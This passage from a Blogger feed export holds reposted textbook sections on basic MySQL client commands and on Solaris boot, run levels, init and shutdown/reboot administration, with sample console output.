/&gt;&lt;p class="docText"&gt;These commands allow you to perform tasks such as executing SQL commands that are stored in a script file using the &lt;tt&gt;source&lt;/tt&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;To display the available databases, type:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mysql&amp;gt; SHOW DATABASES;&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;which returns:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;+----------+&lt;br /&gt;| Database |&lt;br /&gt;+----------+&lt;br /&gt;| mysql    |&lt;br /&gt;+----------+&lt;br /&gt;1 rows in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;table border="0" bgcolor="black" cellspacing="0" cellpadding="1" width="90%" align="center"&gt;&lt;tr&gt;&lt;td&gt;&lt;table bgcolor="white" width="100%" border="0" cellspacing="0" cellpadding="6"&gt;&lt;TR&gt;&lt;td width="60" valign="top"&gt;&lt;/td&gt;&lt;TD valign="top"&gt;&lt;br /&gt;&lt;p class="docText"&gt;To scroll back though commands you've already entered in MySQL, use the up arrow key.&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/TR&gt;&lt;/table&gt;&lt;/P&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;The default database that is present after an install is called &lt;tt&gt;mysql&lt;/tt&gt;. The &lt;tt&gt;mysql&lt;/tt&gt; database also stores the database user authentication information. Don't delete it! When you started &lt;tt&gt;mysql&lt;/tt&gt;, you didn't specify connection to a particular database. The &lt;tt&gt;use&lt;/tt&gt; command allows you to do this.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;To connect to the &lt;tt&gt;mysql&lt;/tt&gt; database, type the following at the MySQL prompt:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;USE `mysql`;&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;This returns:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Database changed&lt;br /&gt;&lt;/pre&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;If your ISP supplied a different database name, use that instead of &lt;tt&gt;mysql&lt;/tt&gt;.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-7292921683578828981?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/7292921683578828981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-81-mysql-database.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7292921683578828981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7292921683578828981'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-81-mysql-database.html' title='Section 8.1.  MySQL Database'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-3486355594705861219</id><published>2009-11-13T07:50:00.017-08:00</published><updated>2009-11-13T07:50:15.471-08:00</updated><title type='text'>System Startup</title><content type='html'>&lt;br /&gt;&lt;TABLE BORDER="0" CELLPADDING="0" CELLSPACING="2" WIDTH="100%"&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD VALIGN="TOP" ALIGN="center" WIDTH="82"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;div class="chapter"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="first-section-title"&gt;&lt;br /&gt;System Startup&lt;/h2&gt;&lt;br /&gt;&lt;p class="first-para"&gt;There are three kinds of boots that administrators should be aware of. In addition to a normal reboot, which is initiated by the command&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# shutdown&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;from a superuser shell, a reconfiguration boot involves reconstructing device information in the &lt;i class="emphasis"&gt;/dev&lt;/i&gt; and &lt;i class="emphasis"&gt;/devices&lt;/i&gt; directories, while a recovery boot involves saving and analyzing crash dump files if a system does not respond to commands issued on the console. A reconfiguration boot is commonly undertaken in older SPARC systems when new hard disks are added to the system, although this may not be necessary with newer systems, such as the E450, which have hot-swapping facilities. This kind of boot can be initiated by typing&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# boot -r&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;at the OpenBoot monitor prompt, or by issuing the command&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# touch /reconfigure&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;prior to issuing a &lt;span class="fixed"&gt;shutdown&lt;/span&gt; command from a superuser shell. A recovery boot is a rare event on a Solaris system&amp;mdash;although hardware failures, kernel module crashes, and incorrect kernel parameters can sometimes result in a hung system. A stack trace is usually provided if a system crash occurs, which can provide vital clues to tracking the source of any system problems using the kernel debugger (kadb).&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Although Solaris has eight init states, only five are commonly encountered by administrators during normal operations. The first is run level S, which is a single-user init state used for administrative tasks and the repair of corrupted file systems, using the following command:&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# /usr/sbin/fsck&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;Also encountered are run level 2, where the init state changes to multiuser mode for the first time, with the exception of NFS exported network resources; run level 3, where all users can log in, and all system and NFS network resources are available; run level 6, which halts the operating system and initiates a reboot; and run level 0, during which the operating system is shut down, ensuring it is safe to power down. In older SPARC systems, it is necessary to bring the system down to run level 0 to install new hardware, such as disk drives, peripheral devices, and memory modules. However, newer systems, such as the E450, are able to continue to operate in multiuser init states while disks are hot-swapped into special drive bays. This means that these machines may not have a need to enter - run level 6. Further, uptimes of many months or years are not uncommon.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;The Solaris software environment provides a detailed series of run control (rc) scripts to control run level changes. In this section, we will examine each of the control scripts in turn, and highlight the improvements and innovations from the old BSD-style Solaris 1.&lt;i class="emphasis"&gt;x&lt;/i&gt; control scripts. Each run level has an associated rc script located in the &lt;i class="emphasis"&gt;/sbin&lt;/i&gt; directory, which is also symbolically linked into the &lt;i class="emphasis"&gt;/etc&lt;/i&gt; directory: rc0, rc1, rc2, rc3, rc5, rc6, and rcS. &lt;i class="emphasis"&gt;/sbin/rc0&lt;/i&gt; is responsible for:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Executing all scripts in &lt;i class="emphasis"&gt;/etc/rc0.d&lt;/i&gt;, if the directory exists.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Terminating all system services and active processes, initially using &lt;span class="fixed"&gt;/usr/sbin/killall&lt;/span&gt; and &lt;span class="fixed"&gt;/usr/sbin/killall&lt;/span&gt; &lt;span class="fixed"&gt;9&lt;/span&gt; for stubborn processes.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Syncing all mounted file systems, using &lt;span class="fixed"&gt;/sbin/sync&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Unmounting all mounted file systems, using &lt;span class="fixed"&gt;/sbin/umountall&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;&lt;br /&gt;&lt;i class="emphasis"&gt;/sbin/rc5&lt;/i&gt; and &lt;i class="emphasis"&gt;/sbin/rc6&lt;/i&gt; are just symbolic links to &lt;i class="emphasis"&gt;/sbin/rc0&lt;/i&gt;, and do not need to be maintained separately, whilst &lt;i class="emphasis"&gt;/sbin/rc1&lt;/i&gt; is responsible for executing all scripts in the &lt;i class="emphasis"&gt;/etc/rc1.d&lt;/i&gt; directory, if it exists. This terminates all system services and active processes, initially using &lt;span class="fixed"&gt;/usr/sbin/killall&lt;/span&gt;, and &lt;span class="fixed"&gt;/usr/sbin/killall&lt;/span&gt; &lt;span class="fixed"&gt;9&lt;/span&gt; for stubborn processes. The differences between &lt;i class="emphasis"&gt;/etc/rc0&lt;/i&gt; and &lt;i class="emphasis"&gt;/etc/rc1&lt;/i&gt; are that the latter brings up the system into single-user mode after shutting down all processes in multiuser mode, and does not unmount any file systems.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;In run level 2 state, &lt;i class="emphasis"&gt;/sbin/rc2&lt;/i&gt; executes all scripts in the &lt;i class="emphasis"&gt;/etc/rc2.d&lt;/i&gt; directory, bringing the system into its first multiuser state. Thus, all local file systems listed in &lt;i class="emphasis"&gt;/etc/vfstab&lt;/i&gt; are mounted, disk quotas and file system logging are switched on if configured, temporary editor files are saved, the &lt;i class="emphasis"&gt;/tmp&lt;/i&gt; directory is cleared, system accounting is enabled, and many network services are initialized. These services are described in more detail in Table 5-2.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;In run level 3 state, &lt;i class="emphasis"&gt;/sbin/rc3 &lt;/i&gt;executes all scripts in the &lt;i class="emphasis"&gt;/etc/rc3.d&lt;/i&gt; directory, bringing the system into its final multiuser state. These services are mainly concerned with shared network resources, such as NFS, but Solstice Enterprise Agents and other SNMP-based systems may also be started here. &lt;i class="emphasis"&gt;/sbin/rcS&lt;/i&gt; executes all scripts in the &lt;i class="emphasis"&gt;/sbin/rcS.d&lt;/i&gt; directory, to bring the system up to the single-user run level. A minimal network configuration is established if a network can be found; otherwise, an interface error is reported. Essential system file systems (such as &lt;i class="emphasis"&gt;/&lt;/i&gt;, &lt;i class="emphasis"&gt;/usr&lt;/i&gt;, and &lt;i class="emphasis"&gt;/proc&lt;/i&gt;) are mounted if they are available, and the system name is set.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Under Solaris 1.&lt;i class="emphasis"&gt;x&lt;/i&gt;, there were two main BSD-style control scripts: &lt;i class="emphasis"&gt;/etc/rc&lt;/i&gt; and &lt;i class="emphasis"&gt;/etc/rc.local&lt;/i&gt;. Typically, vendor-provided daemons were initialized from &lt;i class="emphasis"&gt;/etc/rc&lt;/i&gt;, while customized and locally installed daemons were executed from &lt;i class="emphasis"&gt;/etc/rc.local&lt;/i&gt;. For example, &lt;i class="emphasis"&gt;/etc/rc&lt;/i&gt; was responsible for mounting file systems, enabling quotas, adding swap space, and starting the Internet super daemon (inetd). Alternatively, &lt;i class="emphasis"&gt;/etc/rc.local&lt;/i&gt; was responsible for later innovations, such as web servers and authentication services, as well as printer drivers. A general rule of thumb when upgrading legacy systems from Solaris 1.&lt;i class="emphasis"&gt;x&lt;/i&gt; to Solaris 2.&lt;i class="emphasis"&gt;x&lt;/i&gt; is to cross-check all of the required services in &lt;i class="emphasis"&gt;/etc/rc&lt;/i&gt;, and ensure that they are enabled in either &lt;i class="emphasis"&gt;/etc/rc1.d&lt;/i&gt; or &lt;i class="emphasis"&gt;/etc/rc2.d&lt;/i&gt;, and to add any local customizations from &lt;i class="emphasis"&gt;/etc/rc.local&lt;/i&gt; to a System V&amp;ndash;style startup script in &lt;i class="emphasis"&gt;/etc/rc2.d&lt;/i&gt;. Alternatively, shared network resource scripts can be added to &lt;i class="emphasis"&gt;/etc/rc3.d&lt;/i&gt;.&lt;/p&gt;&lt;br /&gt;&lt;table border="0" cellspacing="0" cellpadding="0" class="tip"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top" class="admon-check"&gt;&lt;/td&gt;&lt;td valign="top" class="admon-title"&gt;Tip&amp;nbsp;&lt;/td&gt;&lt;td valign="top" class="admon-body"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Many Solaris 1.&lt;i class="emphasis"&gt;x&lt;/i&gt; applications will run in binary compatibility mode under Solaris 2.&lt;i class="emphasis"&gt;x&lt;/i&gt;, but your software vendor should be contacted for the latest versions of third-party software.&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;p class="para"&gt;To the superuser on the console, the transition between run levels is virtually invisible: most daemons, whether starting in a single-user or multiuser init state, display a status message when starting up, which is echoed to the console. A sample console display during booting will look something like this:&lt;/p&gt;&lt;br /&gt;&lt;div class="widecontent"&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;ok boot&lt;br /&gt;Resetting ...&lt;br /&gt;SPARCstation 20 (2 X 390Z50), Keyboard Present&lt;br /&gt;ROM Rev. 2.4, 128 MB memory installed, Serial #6745644&lt;br /&gt;Ethernet address 6:3:10:a:cc:4a HostID 5767686&lt;br /&gt;Boot device: /iommu/sbus/espdma@f,400000/esp@f,800000/sd@1,0&lt;br /&gt;File and args:&lt;br /&gt;SunOS Release 5.9 Version generic [UNIX(R) System V Release 4.0]&lt;br /&gt;Copyright (c) 1983-2002, Sun Microsystems, Inc.&lt;br /&gt;configuring network interfaces: le0.&lt;br /&gt;Hostname: server&lt;br /&gt;The system is coming up. Please wait.&lt;br /&gt;add net default: gateway 10.16.27.1&lt;br /&gt;NIS domainname is subdomain.mydomain.com&lt;br /&gt;starting rpc services: rpcbind keyserv ypbind done.&lt;br /&gt;Setting netmask of le0 to 255.255.0.0&lt;br /&gt;Setting default interface for multicast: add net 224.0.0.0: gateway server&lt;br /&gt;syslog service starting.&lt;br /&gt;Print services started.&lt;br /&gt;volume management starting.&lt;br /&gt;Starting Apache webserver...done.&lt;br /&gt;The system is ready.&lt;br /&gt;server console login:&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class="para"&gt;When booting into single-user mode, there will obviously be fewer messages displayed on the console, as multiuser init state processes are not started. The single-user run level messages will appear as something like this:&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;ok boot -s&lt;br /&gt;SunOS Release 5.9 Version [UNIX(R) System V Release 4.0]&lt;br /&gt;Copyright (c) 1983-2001, Sun Microsystems, Inc.&lt;br /&gt;configuring network interfaces: le0.&lt;br /&gt;Hostname: server&lt;br /&gt;INIT: SINGLE USER MODE&lt;br /&gt;Type Ctrl-d to proceed with normal startup,&lt;br /&gt;(or give root password for system maintenance):&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;At this point, the password for the superuser account should be entered (it will not be echoed to the display). Assuming that the correct password is entered, the display will then proceed with another banner and a Bourne shell prompt:&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;Sun Microsystems Inc. SunOS 5.9 November 2001&lt;br /&gt;#&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;After maintenance is complete, simply exit the shell by using &lt;span class="smallcaps"&gt;CTRL-D&lt;/span&gt;, and the system will then proceed with a normal multiuser boot.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;The /sbin/init daemon is responsible for process control initialization, and is a key component of the booting process. While it is not significant in many day-to-day operations after booting, its configuration for special purposes can be confusing for first-time users. In this section, we will examine the initialization of init using the &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; file, and explain in detail what each entry means. The primary function of init is to spawn processes, usually daemon processes, from configuration information specified in the file &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; in ASCII format.&lt;/p&gt;&lt;br /&gt;&lt;table border="0" cellspacing="0" cellpadding="0" class="note"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top" class="admon-check"&gt;&lt;/td&gt;&lt;td valign="top" class="admon-title"&gt;Note&amp;nbsp;&lt;/td&gt;&lt;td valign="top" class="admon-body"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Process spawning always takes place in a specific software context, which is determined by the current run level.&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;p class="para"&gt;After booting the kernel from the OpenBoot monitor, init reads the system environment variables stored in &lt;i class="emphasis"&gt;/etc/default/init&lt;/i&gt; (for example, the time zone variable &lt;i class="emphasis"&gt;TZ&lt;/i&gt;), and sets them for the current run level. init then reads the &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; file (described more completely in the next section), setting the init level specified in that file by the initdefault entry. In most multiuser systems, this entry will correspond to run level 3, and the entry will look like this:&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;is:3:initdefault:&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;If the file &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; does not exist during booting, the superuser will be asked to manually enter the desired run level for the system. If this event ever occurs unexpectedly for a multiuser system, it is a good strategy to enter single-user mode (by typing &lt;b class="bold"&gt;s&lt;/b&gt;) to perform maintenance on the &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; file. Another potential problem (which is discussed later) is if &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; does contain an empty rstate value in the initdefault entry: the system will go to firmware and continuously reboot! If this occurs, exit from the operating system into the OpenBoot monitor by holding down the STOP key, and pressing &lt;span class="smallcaps"&gt;A&lt;/span&gt;. You can now boot directly into single-user mode, and add an appropriate rstate entry to the &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; file. There are safeguards built into init, however: if the system discovers that any entry in &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; is respawning rapidly (that is, more than five times per minute), init assumes that a typographical error has been made in the entry, and a warning message is printed on the system console. init will then not respawn the affected entry until at least five minutes has elapsed since the problem was identified.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;After entering a multiuser run level for the first time since booting from the OpenBoot monitor, init reads any appropriate boot and bootwait entries in &lt;i class="emphasis"&gt;/etc/ inittab&lt;/i&gt;. This provides for basic initialization of the operating system, such as mounting file systems, which is generally performed before users may be allowed to operate on the system.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;In order to spawn processes specified in &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt;, init reads each entry and determines the process requirements for the commands to be executed. For example, for entries that must be respawned in the future, a child process is created using &lt;span class="fixed"&gt;fork()&lt;/span&gt;. After reading all entries and spawning all processes, init simply waits until it receives a signal to change the system&amp;rsquo;s init state (this explains why init is always visible in the process list). &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt; is always reread at this point to ensure that any modifications to its specified behavior are used. In addition, init can be initialized at any time by passing a special parameter to force rereading of &lt;i class="emphasis"&gt;/etc/inittab&lt;/i&gt;:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# init q&lt;/pre&gt;&lt;br /&gt;&lt;p class="para"&gt;When init receives a valid request to change run levels, a warning signal is sent to all affected processes, and it waits five seconds before forcibly terminating any processes that do not behave well, and then exits by sending a kill signal. Affected processes are those that will be invalid under the target init state (for example, when going from multiuser to single-user mode, daemons started in multiuser mode will be invalid). Since five seconds may not be sufficient to shut down an entire database server and close all open files, it is best to ensure that such activities precede any change of state that affects the main applications running on your system (for example, by executing the appropriate command in &lt;i class="emphasis"&gt;/etc/init.d&lt;/i&gt; with the &lt;span class="fixed"&gt;stop&lt;/span&gt; parameter).&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;/sbin/init can only be executed by a superuser, as changes in the system&amp;rsquo;s init state executed by a normal user could have serious consequences (for example, using init to power down a live server). Thus, it is always wise to ensure that file permissions are correctly set on the /sbin/init binary.&lt;/p&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h3 class="sect3-title"&gt;&lt;br /&gt;Shutdown&lt;/h3&gt;&lt;br /&gt;&lt;p class="first-para"&gt;A Solaris system is designed to stay up continuously, with as few disruptions to service through rebooting as possible. This design is facilitated by a number of key high-availability and redundancy features in Solaris, including:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Dual power supplies, where a secondary supply can continue to power the system if the primary power supply fails.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Mirroring of disk data, meaning that the system can generally continue to operate even in the face of multiple disk failure.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Hot-swappable disks, meaning that a faulty disk can be removed and replaced while the system is still online. The new disk can be formatted and used immediately, especially when DiskSuite is used.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;The use of domains on E10000 systems, where maintenance performed on one &amp;ldquo;virtual&amp;rdquo; host can be performed while a second domain acts in its place.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;However, there are a number of situations where a Solaris system must be halted by the superuser, such as:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Performing a reconfiguration boot&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Powering down the system&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;Note that the &lt;span class="fixed"&gt;drvconfig&lt;/span&gt; command can be used to recognize most new hardware devices, further reducing the need for rebooting. A number of different commands are available to shut down and halt a system, and which one is used depends on the specific situation at hand. For example, some commands cycle through a series of shutdown scripts that ensure that key applications and services, such as databases, are cleanly shut down. Others are designed to ensure that a system is powered down as rapidly as possible. For example, if a storm strikes out the main power system and you&amp;rsquo;re only left with a few minutes of battery backup, it might be wise to perform a rapid power down to protect equipment from further damage. We&amp;rsquo;ll investigate the following commands: &lt;span class="fixed"&gt;init&lt;/span&gt;, &lt;span class="fixed"&gt;shutdown&lt;/span&gt;, &lt;span class="fixed"&gt;poweroff&lt;/span&gt;, &lt;span class="fixed"&gt;halt&lt;/span&gt;, and &lt;span class="fixed"&gt;reboot&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h4 class="sect4-title"&gt;Shutting Down the System&lt;/h4&gt;&lt;br /&gt;&lt;p class="first-para"&gt;The &lt;span class="fixed"&gt;shutdown&lt;/span&gt; command is used to change a system&amp;rsquo;s state, performing a similar function to init as described previously. However, shutdown has several advantages over init, for instance:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;A grace period can be specified, so that the system can be shut down at some future time, rather than immediately.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;A confirmation message requires the superuser to confirm the shutdown before it proceeds. If an automated shutdown is to be executed at some future time, the confirmation message can be avoided by using the &lt;span class="fixed"&gt;-y&lt;/span&gt; option.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Only init states 0, 1, 5, 6, and S can be reached using the &lt;span class="fixed"&gt;shutdown&lt;/span&gt; command.&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;For example, to shut down the system to run level 5 so that the system can be moved, the following command would be used, giving 60 seconds notice:&lt;/p&gt;&lt;br /&gt;&lt;div class="widecontent"&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# shutdown -i 5 -g 60 "System will be powered off for maintenance. LOGOUT NOW."&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class="para"&gt;This will print the following messages at 60 and 30 seconds, respectively:&lt;/p&gt;&lt;br /&gt;&lt;div class="widecontent"&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;Shutdown started.   Thu Jun   21  12:00:00 EST  2001&lt;br /&gt;Broadcast Message from root (pts/1) on cassowary Thu Jun   21&lt;br /&gt;  12:00:00 EST  2001...&lt;br /&gt;          The system will be shut down in 1 minute&lt;br /&gt;System will be powered off for maintenance. LOGOUT NOW.&lt;br /&gt;Shutdown started.   Thu Jun   21  12:00:30 EST  2001&lt;br /&gt;Broadcast Message from root (pts/1) on cassowary Thu Jun   21&lt;br /&gt;  12:30:00 EST  2001...&lt;br /&gt;          The system will be shut down in 30 seconds&lt;br /&gt;System will be powered off for maintenance. LOGOUT NOW.&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class="para"&gt;Once the countdown has been completed, the following message will appear:&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;Do you want to continue? (y or n):&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p class="last-para"&gt;If you type &lt;b class="bold"&gt;y&lt;/b&gt;, the shutdown will proceed. If you type &lt;b class="bold"&gt;n&lt;/b&gt;, the shutdown will be cancelled and the system will remain at the current run level.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h4 class="sect4-title"&gt;Rebooting&lt;/h4&gt;&lt;br /&gt;&lt;p class="first-para"&gt;The &lt;span class="fixed"&gt;reboot&lt;/span&gt; command is used to reboot the system, from the current run level to the default run level, and not to change to any other run level. The &lt;span class="fixed"&gt;reboot&lt;/span&gt; command has several options: the &lt;span class="fixed"&gt;-l&lt;/span&gt; flag can be used to prevent the recording of the system halt in the system log, which it normally attempts before halting the CPU, while the &lt;span class="fixed"&gt;-n&lt;/span&gt; option prevents the refreshing of the superblock, which is performed by default to prevent damage to mounted file systems. The most extreme option is &lt;span class="fixed"&gt;-q&lt;/span&gt;, which does not attempt any kind of fancy actions before shutting down.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;In addition, reboot accepts the standard parameters passed to the &lt;span class="fixed"&gt;boot&lt;/span&gt; command, if they are preceded by two dashes and are placed after the reboot parameters described above on the command line.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;For example, to perform a configuration reboot without recording an entry in the system log, the following command could be used:&lt;/p&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;# reboot -l -- -r&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h4 class="sect4-title"&gt;Reconfiguration Boot&lt;/h4&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Performing a reconfiguration boot involves updating the hardware configuration for the system. If new hardware is added to the system, other than a disk, the system must be brought down to the hardware maintenance state (level 0) before the new device can be inserted. In addition, the system must be notified of a reconfiguration reboot by either booting from the OpenBoot PROM monitor with the command &lt;span class="fixed"&gt;boot&lt;/span&gt; &lt;span class="fixed"&gt;-r&lt;/span&gt;, or by creating an empty file called &lt;i class="emphasis"&gt;reconfigure&lt;/i&gt; in the root directory before changing to run level 0. This can be achieved by using the command &lt;span class="fixed"&gt;touch&lt;/span&gt; &lt;span class="fixed"&gt;/reconfigure&lt;/span&gt;. Be sure to remove the &lt;i class="emphasis"&gt;/reconfigure&lt;/i&gt; file after the system has been reconfigured if not rebooting!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h4 